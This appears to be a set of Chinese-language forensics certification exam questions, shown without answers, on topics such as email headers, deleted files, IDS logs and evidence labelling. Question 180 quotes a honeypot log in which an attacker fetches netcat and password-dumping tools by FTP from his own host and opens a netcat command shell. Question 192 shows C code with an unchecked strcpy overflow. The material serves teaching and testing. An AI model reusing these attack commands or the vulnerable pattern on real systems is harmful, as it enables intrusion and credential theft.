新问题 180
以下摘录自 lab.wiretrip.net 上的蜜罐日志。Short 报告了来自 213.116.251.162 的 Unicode 攻击。文件权限规范化漏洞（UNICODE 攻击）允许在通常无权运行脚本的任意文件夹中运行脚本。攻击者尝试使用 Unicode 攻击，最终成功显示 boot.ini。
然后，他转而通过 msadcs.dll 玩 RDS。RDS 漏洞允许恶意用户构建 SQL 语句，在 IIS 服务器上执行 shell 命令（如 CMD.EXE）。攻击者通过快速查询发现目录存在，而对 msadcs.dll 的查询显示该目录运行正常。攻击者进行了一次 RDS 查询，结果运行了如下所示的命令。
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
你能从给出的漏洞中推断出什么？

新问题 181
安妮正在运行 Windows XP 操作系统的系统中查找某些已删除的文件。如果这些文件没有从系统中完全删除，她到哪里去找呢？

新问题 182
在下面的邮件标题中，该邮件最初从哪里发出？

新问题 183
哪条规则要求提供原始录音以证明录音内容？

新问题 184
计算机取证专家罗恩正在调查一起涉及公司间谍活动的案件。他从犯罪现场找到了几台移动计算设备。罗恩掌握的证据之一是一部处于开机状态的诺基亚手机。罗恩需要恢复该设备的 IMEI 号码，以确定设备所有者的身份。他可以使用以下哪些组合键来恢复 IMEI 号码？

新问题 185
在用 "aaa/ddmmyy/nnnn/zz "格式标记已收集的证据时，"nnnn "表示什么？

新问题 186
以下哪种事件相关性方法是一种高级相关性方法，它通过研究统计数据和概率来假设和预测攻击者在攻击后可能采取的下一步行动，并且只使用两个变量？

新问题 187
以下哪个邮件头指定了邮件发送者生成的错误（如 "无此用户 "退回邮件）的发送地址（而不是发件人地址）？

新问题 188
以下哪个文件包含系统安装、运行或卸载应用程序的痕迹？

新问题 189
特拉维斯是一名计算机取证调查员，他一个多月来一直在调查一起涉及侵犯版权和挪用公款的案件。他的最后一项任务是为他供职的公司总裁准备一份调查报告。特拉维斯必须向这位总裁提交一份打印文本和一份电子文本。特拉维斯应以何种电子格式发送这份报告？

新问题 190
识别嫌疑犯硬盘上是否存在隐藏分区的方法之一是

新问题 191
研究下面的日志并回答下面的问题：
Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169 Apr 24 14:46:46 [4663]：IDS27/FIN 扫描：194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]：IDS/DNS-version-query：212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]：IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan：PORTSCAN DETECTED from 24.9.255.53 Apr 25 02:08:07 [5875]：IDS277/DNS-version-query：63.226.81.13:4499 -> 172.16.1.107:53 Apr 25 02:08:07 [5875]：IDS277/DNS-version-query：63.226.81.13:4630 -> 172.16.1.101:53 Apr 25 02:38:17 [5875]：IDS/RPC-rpcinfo-query：212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 [5875]：IDS230/web-cgi-space-wildcard：198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 [6283]：IDS212/dns-zone-transfer：38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]：IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) Apr 26 06:45:34 [6283]：IDS175/socks-probe：24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 [6283]：IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 防止这种攻击的预防措施包括编写防火墙规则。在这些防火墙规则中，以下哪些规则是合适的？

新问题 192
凯尔正在对他为会计部门开发的一个应用程序进行最后测试。
他的最后一轮测试是确保程序尽可能安全。凯尔运行了以下命令。此时他在测试什么？
#include #include int main(int argc, char
*argv[]) { char buffer[10]; if (argc < 2) { fprintf (stderr, "USAGE: %s stringn", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0; }

新问题 193
一名员工试图用一块大磁铁清除存储在几张光盘（CD）和数字视频光盘（DVD）上的数据。你告诉他，这种方法无法有效清除数据，因为 CD 和 DVD 是用于存储大量数据的 ______________ 介质，不会受到磁铁的影响。

新问题 194
以下哪种攻击是指通过互联网无意下载恶意软件？在这里，攻击者利用浏览器软件的缺陷，仅通过用户访问恶意网站来安装恶意软件。

新问题 195
最近，某政府机构使用的一个内部网络应用程序变得反应迟钝，该政府机构的网络工程师贝蒂受命确定网络应用程序反应迟钝的原因。Betty 启动 Wlreshark，开始捕捉本地网络的流量。在分析结果时，贝蒂注意到同步洪水攻击正在进行中。贝蒂是如何知道正在发生同步洪水攻击的？

新问题 196
金伯利正在镇上的一所职业学校学习 IT 安全分析师。学校提供许多不同的编程和网络语言。她应该学习路由器使用的哪种网络协议语言？

新问题 197
Windows 操作系统为机器上的快捷方式文件使用的扩展名是什么？